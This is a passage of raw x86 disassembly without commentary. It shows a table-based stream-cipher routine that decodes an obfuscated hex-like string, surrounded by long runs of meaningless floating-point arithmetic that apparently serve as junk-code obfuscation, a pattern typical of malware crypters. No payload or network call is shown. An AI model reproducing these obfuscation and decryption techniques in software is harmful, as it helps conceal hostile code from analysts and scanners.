mov byte [ebp - 0x3289], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x5fb0]
mov byte [ebp - 0x32a4], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x5fb0]
mov byte [ebp - 0x32fa], dl
movsd xmm0, qword [0xa66f58]
movsd qword [ebp - 0x4784], xmm0
movsd xmm0, qword [0xa66e28]
movsd qword [ebp - 0x437c], xmm0
movsd xmm0, qword [0xa66bd8]
movsd qword [ebp - 0x6350], xmm0
movsd xmm0, qword [0xa66928]
movsd qword [ebp - 0x4918], xmm0
movsd xmm0, qword [ebp - 0x437c]
subsd xmm0, qword [ebp - 0x4918]
movsd qword [ebp - 0x437c], xmm0
movsd xmm0, qword [ebp - 0x437c]
mulsd xmm0, qword [ebp - 0x4918]
movsd qword [ebp - 0x437c], xmm0
movsd xmm0, qword [ebp - 0x4784]
addsd xmm0, qword [ebp - 0x4918]
movsd qword [ebp - 0x4784], xmm0
movsd xmm0, qword [ebp - 0x437c]
subsd xmm0, qword [ebp - 0x4918]
movsd qword [ebp - 0x437c], xmm0
movsd xmm0, qword [ebp - 0x437c]
comisd xmm0, xmmword [ebp - 0x4918]
jbe 0x42dea0
movsd xmm0, qword [ebp - 0x4918]
mulsd xmm0, qword [ebp - 0x4784]
movsd qword [ebp - 0x4918], xmm0
movsd xmm0, qword [ebp - 0x4784]
mulsd xmm0, qword [ebp - 0x437c]
movsd qword [ebp - 0x4784], xmm0
movsd xmm0, qword [ebp - 0x437c]
subsd xmm0, qword [ebp - 0x6350]
movsd qword [ebp - 0x437c], xmm0
movsd xmm0, qword [ebp - 0x4784]
mulsd xmm0, qword [ebp - 0x437c]
movsd qword [ebp - 0x4784], xmm0
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x5fb0]
mov byte [ebp - 0x32a3], dl
jmp 0x42df00
movsd xmm0, qword [ebp - 0x437c]
subsd xmm0, qword [ebp - 0x6350]
movsd qword [ebp - 0x437c], xmm0
movsd xmm0, qword [ebp - 0x4784]
addsd xmm0, qword [ebp - 0x437c]
movsd qword [ebp - 0x4784], xmm0
movsd xmm0, qword [ebp - 0x437c]
divsd xmm0, qword [ebp - 0x6350]
movsd qword [ebp - 0x437c], xmm0
movsd xmm0, qword [ebp - 0x4918]
addsd xmm0, qword [ebp - 0x4784]
movsd qword [ebp - 0x4918], xmm0
movzx eax, byte [ebp - 0x3367]
mov cl, byte [ebp + eax - 0x5fb0]
mov byte [ebp - 0x32d1], cl
mov dword [ebp - 0x53fc], 0xe
cmp dword [ebp - 0x53fc], 2
jle 0x430b54
mov edx, dword [ebp - 0x53fc]
and edx, 1
jne 0x430b54
mov dword [ebp - 0x33b0], 0
mov dword [ebp - 0x36e8], 0
mov eax, dword [ebp - 0x36e8]
add eax, 1
mov dword [ebp - 0x36e8], eax
mov dword [ebp - 0x3c0c], 0
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
mov dword [ebp - 0x3c0c], ecx
mov dword [ebp - 0x3bac], 0
mov edx, dword [ebp - 0x3c10]
add edx, dword [ebp - 0x3c0c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3bac]
mov dword [ebp - 0x3bac], eax
mov dword [ebp - 0x3bb0], 0
mov ecx, dword [ebp - 0x3bb0]
add ecx, 0xdc
mov dword [ebp - 0x3bb0], ecx
mov dword [ebp - 0x3c14], 0
mov edx, dword [ebp - 0x33b0]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c14], eax
mov dword [ebp - 0x3bb4], 0
mov ecx, dword [ebp - 0x3c10]
add ecx, dword [ebp - 0x3c14]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3bb4]
mov dword [ebp - 0x3bb4], edx
mov dword [ebp - 0x3bb8], 0
mov eax, dword [ebp - 0x3bb8]
add eax, 0x66
mov dword [ebp - 0x3bb8], eax
mov dword [ebp - 0x3b14], 0
mov ecx, dword [ebp - 0x3bac]
sub ecx, dword [ebp - 0x3bb0]
add ecx, dword [ebp - 0x3b14]
mov dword [ebp - 0x3b14], ecx
mov dword [ebp - 0x3b18], 0
mov edx, dword [ebp - 0x3bb4]
sub edx, dword [ebp - 0x3bb8]
add edx, dword [ebp - 0x3b18]
mov dword [ebp - 0x3b18], edx
mov dword [ebp - 0x3c18], 0
mov eax, dword [ebp - 0x3b14]
shl eax, 4
mov dword [ebp - 0x3c18], eax
mov dword [ebp - 0x3c1c], 0
mov ecx, dword [ebp - 0x3b18]
mov dword [ebp - 0x3c1c], ecx
mov dword [ebp - 0x3ce4], 0
mov edx, dword [ebp - 0x3c18]
or edx, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3ce4], edx
mov byte [ebp - 0x32fb], 0
mov al, byte [ebp - 0x3ce4]
mov byte [ebp - 0x32fb], al
mov byte [ebp - 0x32f9], 0
movzx ecx, byte [ebp - 0x32d1]
mov dl, byte [ebp + ecx - 0x5fb0]
mov byte [ebp - 0x32f9], dl
movzx eax, byte [ebp - 0x3289]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx edx, byte [ebp - 0x32a4]
add edx, ecx
mov byte [ebp - 0x32a4], dl
mov al, byte [ebp - 0x3289]
add al, 1
mov byte [ebp - 0x3289], al
movzx ecx, byte [ebp - 0x32a4]
movzx edx, byte [ebp - 0x32d1]
mov al, byte [ebp + ecx - 0x5fb0]
mov byte [ebp + edx - 0x5fb0], al
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp - 0x32a4]
mov al, byte [ebp + ecx - 0x5fb0]
mov byte [ebp + edx - 0x5fb0], al
movzx ecx, byte [ebp - 0x3289]
movzx edx, byte [ebp - 0x32a3]
mov al, byte [ebp + ecx - 0x5fb0]
mov byte [ebp + edx - 0x5fb0], al
movzx ecx, byte [ebp - 0x3289]
mov dl, byte [ebp - 0x32f9]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x32f9]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx edx, byte [ebp - 0x32fa]
add edx, ecx
mov byte [ebp - 0x32fa], dl
movzx eax, byte [ebp - 0x32fb]
movzx ecx, byte [ebp - 0x32a4]
movzx edx, byte [ebp + ecx - 0x5fb0]
movzx ecx, byte [ebp - 0x3289]
movzx ecx, byte [ebp + ecx - 0x5fb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5fb0]
xor eax, edx
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp + ecx - 0x5fb0]
movzx ecx, byte [ebp - 0x32d1]
movzx ecx, byte [ebp + ecx - 0x5fb0]
add edx, ecx
movzx ecx, byte [ebp - 0x32fa]
movzx ecx, byte [ebp + ecx - 0x5fb0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5fb0]
movzx ecx, byte [ebp + edx - 0x5fb0]
xor eax, ecx
mov byte [ebp - 0x32a3], al
mov dl, byte [ebp - 0x32fb]
mov byte [ebp - 0x32d1], dl
mov al, byte [ebp - 0x32a3]
mov byte [ebp - 0x3373], al
cmp dword [ebp - 0x33b0], 0
jle 0x42e237
movsx cx, byte [ebp - 0x3373]
mov edx, dword [ebp - 0x33b0]
mov word [ebp + edx*2 - 0x2e], cx
mov eax, dword [ebp - 0x36e8]
add eax, 1
mov dword [ebp - 0x36e8], eax
mov ecx, dword [ebp - 0x33b0]
add ecx, 1
mov dword [ebp - 0x4bd4], ecx
jmp 0x42e266
mov edx, dword [ebp - 0x4bd4]
add edx, 1
mov dword [ebp - 0x4bd4], edx
mov eax, dword [ebp - 0x4bd4]
cmp eax, dword [ebp - 0x36e8]
jge 0x42e4c6
mov ecx, dword [ebp - 0x33b0]
add ecx, 1
mov dword [ebp - 0x33b0], ecx
mov edx, dword [ebp - 0x33b0]
shl edx, 1
mov dword [ebp - 0x3c0c], edx
mov eax, dword [ebp - 0x3c10]
add eax, dword [ebp - 0x3c0c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bac], ecx
mov dword [ebp - 0x3bb0], 0xdc
mov edx, dword [ebp - 0x33b0]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c14], eax
mov ecx, dword [ebp - 0x3c10]
add ecx, dword [ebp - 0x3c14]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bb4], edx
mov dword [ebp - 0x3bb8], 0x66
mov eax, dword [ebp - 0x3bac]
sub eax, dword [ebp - 0x3bb0]
mov dword [ebp - 0x3b14], eax
mov ecx, dword [ebp - 0x3bb4]
sub ecx, dword [ebp - 0x3bb8]
mov dword [ebp - 0x3b18], ecx
mov edx, dword [ebp - 0x3b14]
shl edx, 4
mov dword [ebp - 0x3c18], edx
mov eax, dword [ebp - 0x3b18]
mov dword [ebp - 0x3c1c], eax
mov ecx, dword [ebp - 0x3c18]
or ecx, dword [ebp - 0x3c1c]
mov dword [ebp - 0x3ce4], ecx
mov dl, byte [ebp - 0x3ce4]
mov byte [ebp - 0x32fb], dl
movzx eax, byte [ebp - 0x32d1]
mov cl, byte [ebp + eax - 0x5fb0]
mov byte [ebp - 0x32f9], cl
movzx edx, byte [ebp - 0x3289]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx ecx, byte [ebp - 0x32a4]
add ecx, eax
mov byte [ebp - 0x32a4], cl
mov dl, byte [ebp - 0x3289]
add dl, 1
mov byte [ebp - 0x3289], dl
movzx eax, byte [ebp - 0x32a4]
movzx ecx, byte [ebp - 0x32d1]
mov dl, byte [ebp + eax - 0x5fb0]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp - 0x32a4]
mov dl, byte [ebp + eax - 0x5fb0]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x3289]
movzx ecx, byte [ebp - 0x32a3]
mov dl, byte [ebp + eax - 0x5fb0]
mov byte [ebp + ecx - 0x5fb0], dl
movzx eax, byte [ebp - 0x3289]
mov cl, byte [ebp - 0x32f9]
mov byte [ebp + eax - 0x5fb0], cl
movzx edx, byte [ebp - 0x32f9]
movzx eax, byte [ebp + edx - 0x5fb0]
movzx ecx, byte [ebp - 0x32fa]
add ecx, eax
mov byte [ebp - 0x32fa], cl
movzx edx, byte [ebp - 0x32fb]
movzx eax, byte [ebp - 0x32a4]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx eax, byte [ebp - 0x3289]
movzx eax, byte [ebp + eax - 0x5fb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5fb0]
xor edx, ecx
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp + eax - 0x5fb0]
movzx eax, byte [ebp - 0x32d1]
movzx eax, byte [ebp + eax - 0x5fb0]
add ecx, eax
movzx eax, byte [ebp - 0x32fa]
movzx eax, byte [ebp + eax - 0x5fb0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5fb0]
movzx eax, byte [ebp + ecx - 0x5fb0]
xor edx, eax
mov byte [ebp - 0x32a3], dl
mov cl, byte [ebp - 0x32fb]
mov byte [ebp - 0x32d1], cl
mov dl, byte [ebp - 0x32a3]
mov byte [ebp - 0x3373], dl
cmp dword [ebp - 0x33b0], 0
jle 0x42e4c1
movsx ax, byte [ebp - 0x3373]
mov ecx, dword [ebp - 0x33b0]
mov word [ebp + ecx*2 - 0x2e], ax
jmp 0x42e257
mov edx, dword [ebp - 0x36e8]
add edx, 1
mov dword [ebp - 0x36e8], edx
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x36e8]
add ecx, 1
mov dword [ebp - 0x36e8], ecx
mov edx, dword [ebp - 0x33b0]
shl edx, 1
mov dword [ebp - 0x3c0c], edx
movsd xmm0, qword [0xa66ef0]
movsd qword [ebp - 0x4490], xmm0
movsd xmm0, qword [0xa66e48]
movsd qword [ebp - 0x45b4], xmm0
movsd xmm0, qword [0xa66d18]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [0xa66be8]
movsd qword [ebp - 0x4060], xmm0
movsd xmm0, qword [0xa66aa8]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [0xa66948]
movsd qword [ebp - 0x4374], xmm0
movsd xmm0, qword [0xa66718]
movsd qword [ebp - 0x4088], xmm0
movsd xmm0, qword [ebp - 0x3e08]
mulsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4374]
subsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4374], xmm0
movsd xmm0, qword [ebp - 0x4490]
mulsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4490], xmm0
movsd xmm0, qword [ebp - 0x4204]
mulsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x3e08]
mulsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4060]
subsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4060], xmm0
movsd xmm0, qword [ebp - 0x4490]
subsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4490], xmm0
movsd xmm0, qword [ebp - 0x4374]
comisd xmm0, xmmword [ebp - 0x3e08]
jbe 0x42e8ef
movsd xmm0, qword [ebp - 0x3e08]
subsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x3e08]
mulsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x45b4]
subsd xmm0, qword [ebp - 0x4060]
movsd qword [ebp - 0x45b4], xmm0
movsd xmm0, qword [ebp - 0x45b4]
divsd xmm0, qword [ebp - 0x4060]
movsd qword [ebp - 0x45b4], xmm0
movsd xmm0, qword [ebp - 0x3e08]
addsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4204]
addsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4088]
subsd xmm0, qword [ebp - 0x45b4]
movsd qword [ebp - 0x4088], xmm0
movsd xmm0, qword [ebp - 0x3e08]
divsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4088]
divsd xmm0, qword [ebp - 0x45b4]
movsd qword [ebp - 0x4088], xmm0
movsd xmm0, qword [ebp - 0x4060]
mulsd xmm0, qword [ebp - 0x4374]
movsd qword [ebp - 0x4060], xmm0
movsd xmm0, qword [ebp - 0x4490]
subsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x4490], xmm0
movsd xmm0, qword [ebp - 0x4204]
divsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4204]
subsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4060]
divsd xmm0, qword [ebp - 0x4374]
movsd qword [ebp - 0x4060], xmm0
movsd xmm0, qword [ebp - 0x4088]
comisd xmm0, xmmword [ebp - 0x45b4]
jbe 0x42e842
movsd xmm0, qword [ebp - 0x45b4]
mulsd xmm0, qword [ebp - 0x4060]
movsd qword [ebp - 0x45b4], xmm0
movsd xmm0, qword [ebp - 0x3e08]
divsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4060]
divsd xmm0, qword [ebp - 0x4374]
movsd qword [ebp - 0x4060], xmm0
movsd xmm0, qword [ebp - 0x4204]
subsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4204], xmm0
movsd xmm0, qword [ebp - 0x4374]
subsd xmm0, qword [ebp - 0x4490]
movsd qword [ebp - 0x4374], xmm0
movsd xmm0, qword [ebp - 0x3e08]
divsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4060]
divsd xmm0, qword [ebp - 0x4374]
movsd qword [ebp - 0x4060], xmm0
jmp 0x42e8ea
movsd xmm0, qword [ebp - 0x45b4]
mulsd xmm0, qword [ebp - 0x4060]
movsd qword [ebp - 0x45b4], xmm0
movsd xmm0, qword [ebp - 0x3e08]
subsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4490]
mulsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x4490], xmm0
movsd xmm0, qword [ebp - 0x4490]
addsd xmm0, qword [ebp - 0x3e08]
movsd qword [ebp - 0x4490], xmm0
movsd xmm0, qword [ebp - 0x4088]
subsd xmm0, qword [ebp - 0x45b4]
movsd qword [ebp - 0x4088], xmm0
movsd xmm0, qword [ebp - 0x4060]
divsd xmm0, qword [ebp - 0x4374]
movsd qword [ebp - 0x4060], xmm0
movsd xmm0, qword [ebp - 0x4374]
divsd xmm0, qword [ebp - 0x4490]
movsd qword [ebp - 0x4374], xmm0
jmp 0x42e9ac
movsd xmm0, qword [ebp - 0x3e08]
mulsd xmm0, qword [ebp - 0x4060]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x3e08]
subsd xmm0, qword [ebp - 0x4060]
movsd qword [ebp - 0x3e08], xmm0
movsd xmm0, qword [ebp - 0x4060]
subsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x4060], xmm0
movsd xmm0, qword [ebp - 0x4374]
mulsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4374], xmm0
movsd xmm0, qword [ebp - 0x4088]
mulsd xmm0, qword [ebp - 0x4490]
movsd qword [ebp - 0x4088], xmm0
movsd xmm0, qword [ebp - 0x4374]
mulsd xmm0, qword [ebp - 0x4088]
movsd qword [ebp - 0x4374], xmm0
movsd xmm0, qword [ebp - 0x4060]
addsd xmm0, qword [ebp - 0x4204]
movsd qword [ebp - 0x4060], xmm0
mov eax, dword [ebp - 0x3c10]
add eax, dword [ebp - 0x3c0c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bac], ecx
movsd xmm0, qword [0xa66e30]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [0xa66d38]
movsd qword [ebp - 0x3d04], xmm0
movsd xmm0, qword [0xa66c18]
movsd qword [ebp - 0x3e10], xmm0
movsd xmm0, qword [0xa66b08]
movsd qword [ebp - 0x4068], xmm0
movsd xmm0, qword [0xa66a20]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [0xa66890]
movsd qword [ebp - 0x3fe8], xmm0
movsd xmm0, qword [0xa666f0]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3e10]
mulsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3e10], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
subsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x3d04]
subsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3d04], xmm0
movsd xmm0, qword [ebp - 0x3d04]
mulsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3d04], xmm0
movsd xmm0, qword [ebp - 0x3fe8]
addsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3fe8], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
mulsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
subsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x3894]
comisd xmm0, xmmword [ebp - 0x3bc8]
jbe 0x42efad
movsd xmm0, qword [ebp - 0x4068]
subsd xmm0, qword [ebp - 0x3fe8]
movsd qword [ebp - 0x4068], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
mulsd xmm0, qword [ebp - 0x3e10]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
subsd xmm0, qword [ebp - 0x3e10]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
subsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3894]
mulsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
addsd xmm0, qword [ebp - 0x3e10]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x3894]
mulsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3d04]
subsd xmm0, qword [ebp - 0x3e10]
movsd qword [ebp - 0x3d04], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
addsd xmm0, qword [ebp - 0x3fe8]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x4068]
subsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x4068], xmm0
movsd xmm0, qword [ebp - 0x3894]
mulsd xmm0, qword [ebp - 0x3bc8]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3e10]
addsd xmm0, qword [ebp - 0x4068]
movsd qword [ebp - 0x3e10], xmm0
movsd xmm0, qword [ebp - 0x3e10]
mulsd xmm0, qword [ebp - 0x4068]
movsd qword [ebp - 0x3e10], xmm0
movsd xmm0, qword [ebp - 0x3d04]
addsd xmm0, qword [ebp - 0x3e10]
movsd qword [ebp - 0x3d04], xmm0
movsd xmm0, qword [ebp - 0x3e10]
comisd xmm0, xmmword [ebp - 0x3cfc]
jbe 0x42ef00
movsd xmm0, qword [ebp - 0x3fe8]
subsd xmm0, qword [ebp - 0x3bc8]
movsd qword [ebp - 0x3fe8], xmm0
movsd xmm0, qword [ebp - 0x4068]
addsd xmm0, qword [ebp - 0x3fe8]
movsd qword [ebp - 0x4068], xmm0
movsd xmm0, qword [ebp - 0x3fe8]
subsd xmm0, qword [ebp - 0x3bc8]
movsd qword [ebp - 0x3fe8], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
addsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
mulsd xmm0, qword [ebp - 0x3e10]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x4068]
mulsd xmm0, qword [ebp - 0x3fe8]
movsd qword [ebp - 0x4068], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
addsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3e10]
divsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3e10], xmm0
movsd xmm0, qword [ebp - 0x3fe8]
subsd xmm0, qword [ebp - 0x3bc8]
movsd qword [ebp - 0x3fe8], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
divsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3d04]
addsd xmm0, qword [ebp - 0x4068]
movsd qword [ebp - 0x3d04], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
divsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3e10]
subsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3e10], xmm0
movsd xmm0, qword [ebp - 0x3894]
divsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3894]
comisd xmm0, xmmword [ebp - 0x3cfc]
jbe 0x42ee53
movsd xmm0, qword [ebp - 0x3d04]
divsd xmm0, qword [ebp - 0x3e10]
movsd qword [ebp - 0x3d04], xmm0
movsd xmm0, qword [ebp - 0x3894]
subsd xmm0, qword [ebp - 0x3bc8]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3fe8]
divsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3fe8], xmm0
movsd xmm0, qword [ebp - 0x4068]
mulsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x4068], xmm0
movsd xmm0, qword [ebp - 0x3e10]
subsd xmm0, qword [ebp - 0x4068]
movsd qword [ebp - 0x3e10], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
subsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x4068]
mulsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x4068], xmm0
jmp 0x42eefb
movsd xmm0, qword [ebp - 0x3894]
divsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3894]
subsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
mulsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3d04]
mulsd xmm0, qword [ebp - 0x4068]
movsd qword [ebp - 0x3d04], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
addsd xmm0, qword [ebp - 0x3e10]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x3fe8]
divsd xmm0, qword [ebp - 0x3bc8]
movsd qword [ebp - 0x3fe8], xmm0
movsd xmm0, qword [ebp - 0x3d04]
divsd xmm0, qword [ebp - 0x4068]
movsd qword [ebp - 0x3d04], xmm0
jmp 0x42efa8
movsd xmm0, qword [ebp - 0x3cfc]
addsd xmm0, qword [ebp - 0x3fe8]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
addsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x3e10]
mulsd xmm0, qword [ebp - 0x4068]
movsd qword [ebp - 0x3e10], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
mulsd xmm0, qword [ebp - 0x3fe8]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
subsd xmm0, qword [ebp - 0x3fe8]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x4068]
subsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x4068], xmm0
movsd xmm0, qword [ebp - 0x3fe8]
addsd xmm0, qword [ebp - 0x3894]
movsd qword [ebp - 0x3fe8], xmm0
jmp 0x42f05f
movsd xmm0, qword [ebp - 0x3d04]
mulsd xmm0, qword [ebp - 0x4068]
movsd qword [ebp - 0x3d04], xmm0
movsd xmm0, qword [ebp - 0x3e10]
mulsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3e10], xmm0
movsd xmm0, qword [ebp - 0x3bc8]
mulsd xmm0, qword [ebp - 0x3e10]
movsd qword [ebp - 0x3bc8], xmm0
movsd xmm0, qword [ebp - 0x3fe8]
mulsd xmm0, qword [ebp - 0x3bc8]
movsd qword [ebp - 0x3fe8], xmm0
movsd xmm0, qword [ebp - 0x3894]
addsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3894]
mulsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3894], xmm0
movsd xmm0, qword [ebp - 0x3894]
subsd xmm0, qword [ebp - 0x3d04]
movsd qword [ebp - 0x3894], xmm0
mov dword [ebp - 0x3bb0], 0xdc
movsd xmm0, qword [0xa66e78]
movsd qword [ebp - 0x4920], xmm0
movsd xmm0, qword [0xa66d60]
movsd qword [ebp - 0x6aac], xmm0
movsd xmm0, qword [0xa66c00]
movsd qword [ebp - 0x4620], xmm0
movsd xmm0, qword [0xa66ac8]
movsd qword [ebp - 0x4488], xmm0
movsd xmm0, qword [0xa66950]
movsd qword [ebp - 0x478c], xmm0
movsd xmm0, qword [0xa66720]
movsd qword [ebp - 0x4628], xmm0
movsd xmm0, qword [ebp - 0x4620]
mulsd xmm0, qword [ebp - 0x4628]
movsd qword [ebp - 0x4620], xmm0
movsd xmm0, qword [ebp - 0x4920]
subsd xmm0, qword [ebp - 0x4628]
movsd qword [ebp - 0x4920], xmm0
movsd xmm0, qword [ebp - 0x4920]
addsd xmm0, qword [ebp - 0x4628]
movsd qword [ebp - 0x4920], xmm0
movsd xmm0, qword [ebp - 0x4620]
addsd xmm0, qword [ebp - 0x4628]
movsd qword [ebp - 0x4620], xmm0
movsd xmm0, qword [ebp - 0x478c]
addsd xmm0, qword [ebp - 0x4628]
movsd qword [ebp - 0x478c], xmm0
movsd xmm0, qword [ebp - 0x4488]
addsd xmm0, qword [ebp - 0x4628]
movsd qword [ebp - 0x4488], xmm0
movsd xmm0, qword [ebp - 0x4628]
comisd xmm0, xmmword [ebp - 0x4620]
jbe 0x42f1fa
movsd xmm0, qword [ebp - 0x4488]
divsd xmm0, qword [ebp - 0x478c]
movsd qword [ebp - 0x4488], xmm0
movsd xmm0, qword [ebp - 0x4620]
subsd xmm0, qword [ebp - 0x4488]
movsd qword [ebp - 0x4620], xmm0
movsd xmm0, qword [ebp - 0x4920]
subsd xmm0, qword [ebp - 0x6aac]
movsd qword [ebp - 0x4920], xmm0
movsd xmm0, qword [ebp - 0x4920]
addsd xmm0, qword [ebp - 0x6aac]
